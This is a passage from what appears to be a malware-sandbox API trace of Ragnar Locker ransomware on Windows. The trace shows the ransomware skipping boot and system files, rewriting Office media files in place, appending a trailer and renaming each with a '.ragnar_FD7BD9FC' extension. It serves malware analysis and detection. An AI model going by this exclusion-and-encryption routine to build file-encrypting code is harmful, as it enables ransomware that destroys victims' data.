ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x67c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18231_.WMF", cAlternateFileName="")) returned 1 [0096.731] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.731] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18231_.WMF" | out: lpString1="BD18231_.WMF") returned="BD18231_.WMF" [0096.731] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF") returned=".WMF" [0096.731] lstrcmpiW (lpString1="BD18231_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.731] lstrcmpiW (lpString1="BD18231_.WMF", lpString2="autorun.inf") returned 1 [0096.731] lstrcmpiW (lpString1="BD18231_.WMF", lpString2="boot.ini") returned -1 [0096.731] lstrcmpiW (lpString1="BD18231_.WMF", lpString2="bootfont.bin") returned -1 [0096.731] lstrcmpiW (lpString1="BD18231_.WMF", lpString2="bootsect.bak") returned -1 [0096.731] lstrcmpiW (lpString1="BD18231_.WMF", lpString2="bootmgr") returned -1 [0096.731] lstrcmpiW (lpString1="BD18231_.WMF", lpString2="bootmgr.efi") returned -1 [0096.731] lstrcmpiW (lpString1="BD18231_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.731] lstrcmpiW (lpString1="BD18231_.WMF", lpString2="desktop.ini") returned -1 [0096.731] lstrcmpiW (lpString1="BD18231_.WMF", lpString2="iconcache.db") returned -1 [0096.731] lstrcmpiW (lpString1="BD18231_.WMF", lpString2="ntldr") returned -1 [0096.731] lstrcmpiW (lpString1="BD18231_.WMF", lpString2="ntuser.dat") returned -1 [0096.731] lstrcmpiW (lpString1="BD18231_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.731] lstrcmpiW (lpString1="BD18231_.WMF", lpString2="ntuser.ini") returned -1 [0096.731] lstrcmpiW (lpString1="BD18231_.WMF", lpString2="thumbs.db") returned -1 [0096.731] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.732] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.732] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.732] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.732] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.732] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.732] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18231_.wmf")) returned 0x20 [0096.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18231_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.732] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1660) returned 1 [0096.732] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x673, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.732] GetProcessHeap () returned 0x580000 [0096.732] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.732] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.734] VirtualAlloc (lpAddress=0x0, dwSize=0x67c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.734] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.734] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.734] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x67c, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x67c, lpOverlapped=0x0) returned 1 [0096.734] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.734] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x67c, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.734] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x67c, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x67c, lpOverlapped=0x0) returned 1 [0096.734] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x67c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.735] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.735] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x67c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.735] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.735] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.735] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.735] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.735] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.735] GetProcessHeap () returned 0x580000 [0096.735] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.735] CloseHandle (hObject=0xf4) returned 1 [0096.735] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF" [0096.735] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF.ragnar_FD7BD9FC" [0096.735] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18231_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18231_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.736] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4763d200, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4763d200, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18232_.WMF", cAlternateFileName="")) returned 1 [0096.736] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.736] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18232_.WMF" | out: lpString1="BD18232_.WMF") returned="BD18232_.WMF" [0096.736] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF") returned=".WMF" [0096.736] lstrcmpiW (lpString1="BD18232_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.736] lstrcmpiW (lpString1="BD18232_.WMF", lpString2="autorun.inf") returned 1 [0096.736] lstrcmpiW (lpString1="BD18232_.WMF", lpString2="boot.ini") returned -1 [0096.736] lstrcmpiW (lpString1="BD18232_.WMF", lpString2="bootfont.bin") returned -1 [0096.736] lstrcmpiW (lpString1="BD18232_.WMF", lpString2="bootsect.bak") returned -1 [0096.736] lstrcmpiW (lpString1="BD18232_.WMF", lpString2="bootmgr") returned -1 [0096.736] lstrcmpiW (lpString1="BD18232_.WMF", lpString2="bootmgr.efi") returned -1 [0096.736] lstrcmpiW (lpString1="BD18232_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.736] lstrcmpiW (lpString1="BD18232_.WMF", lpString2="desktop.ini") returned -1 [0096.736] lstrcmpiW (lpString1="BD18232_.WMF", lpString2="iconcache.db") returned -1 [0096.736] lstrcmpiW (lpString1="BD18232_.WMF", lpString2="ntldr") returned -1 [0096.736] lstrcmpiW (lpString1="BD18232_.WMF", lpString2="ntuser.dat") returned -1 [0096.736] lstrcmpiW (lpString1="BD18232_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.736] lstrcmpiW (lpString1="BD18232_.WMF", lpString2="ntuser.ini") returned -1 [0096.736] lstrcmpiW (lpString1="BD18232_.WMF", lpString2="thumbs.db") returned -1 [0096.736] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.736] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.737] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.737] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.737] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.737] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.737] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18232_.wmf")) returned 0x20 [0096.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18232_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.737] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1644) returned 1 [0096.737] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x663, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.737] GetProcessHeap () returned 0x580000 [0096.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.737] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.739] VirtualAlloc (lpAddress=0x0, dwSize=0x66c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.739] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.739] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.739] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x66c, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x66c, lpOverlapped=0x0) returned 1 [0096.739] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.739] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x66c, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.739] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x66c, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x66c, lpOverlapped=0x0) returned 1 [0096.739] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x66c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.739] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.739] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x66c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.740] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.740] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.740] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.740] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.740] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.740] GetProcessHeap () returned 0x580000 [0096.740] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.740] CloseHandle (hObject=0xf4) returned 1 [0096.740] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF" [0096.740] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF.ragnar_FD7BD9FC" [0096.740] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18232_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18232_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.741] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a76a200, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5a76a200, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18233_.WMF", cAlternateFileName="")) returned 1 [0096.741] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.741] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18233_.WMF" | out: lpString1="BD18233_.WMF") returned="BD18233_.WMF" [0096.741] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF") returned=".WMF" [0096.741] lstrcmpiW (lpString1="BD18233_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.741] lstrcmpiW (lpString1="BD18233_.WMF", lpString2="autorun.inf") returned 1 [0096.741] lstrcmpiW (lpString1="BD18233_.WMF", lpString2="boot.ini") returned -1 [0096.741] lstrcmpiW (lpString1="BD18233_.WMF", lpString2="bootfont.bin") returned -1 [0096.741] lstrcmpiW (lpString1="BD18233_.WMF", lpString2="bootsect.bak") returned -1 [0096.741] lstrcmpiW (lpString1="BD18233_.WMF", lpString2="bootmgr") returned -1 [0096.741] lstrcmpiW (lpString1="BD18233_.WMF", lpString2="bootmgr.efi") returned -1 [0096.741] lstrcmpiW (lpString1="BD18233_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.741] lstrcmpiW (lpString1="BD18233_.WMF", lpString2="desktop.ini") returned -1 [0096.741] lstrcmpiW (lpString1="BD18233_.WMF", lpString2="iconcache.db") returned -1 [0096.741] lstrcmpiW (lpString1="BD18233_.WMF", lpString2="ntldr") returned -1 [0096.741] lstrcmpiW (lpString1="BD18233_.WMF", lpString2="ntuser.dat") returned -1 [0096.741] lstrcmpiW (lpString1="BD18233_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.741] lstrcmpiW (lpString1="BD18233_.WMF", lpString2="ntuser.ini") returned -1 [0096.741] lstrcmpiW (lpString1="BD18233_.WMF", lpString2="thumbs.db") returned -1 [0096.741] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.741] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.741] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.741] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.741] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.741] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.741] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18233_.wmf")) returned 0x20 [0096.742] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18233_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.743] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1612) returned 1 [0096.743] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x643, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.743] GetProcessHeap () returned 0x580000 [0096.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.743] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.744] VirtualAlloc (lpAddress=0x0, dwSize=0x64c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.744] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.744] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.744] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x64c, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x64c, lpOverlapped=0x0) returned 1 [0096.744] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.744] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x64c, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.745] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x64c, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x64c, lpOverlapped=0x0) returned 1 [0096.745] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x64c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.745] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.745] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x64c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.745] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.745] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.745] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.745] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.745] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.745] GetProcessHeap () returned 0x580000 [0096.745] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.745] CloseHandle (hObject=0xf4) returned 1 [0096.745] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF" [0096.745] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF.ragnar_FD7BD9FC" [0096.745] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18233_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18233_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.746] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eba9f00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6eba9f00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x754, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18234_.WMF", cAlternateFileName="")) returned 1 [0096.746] 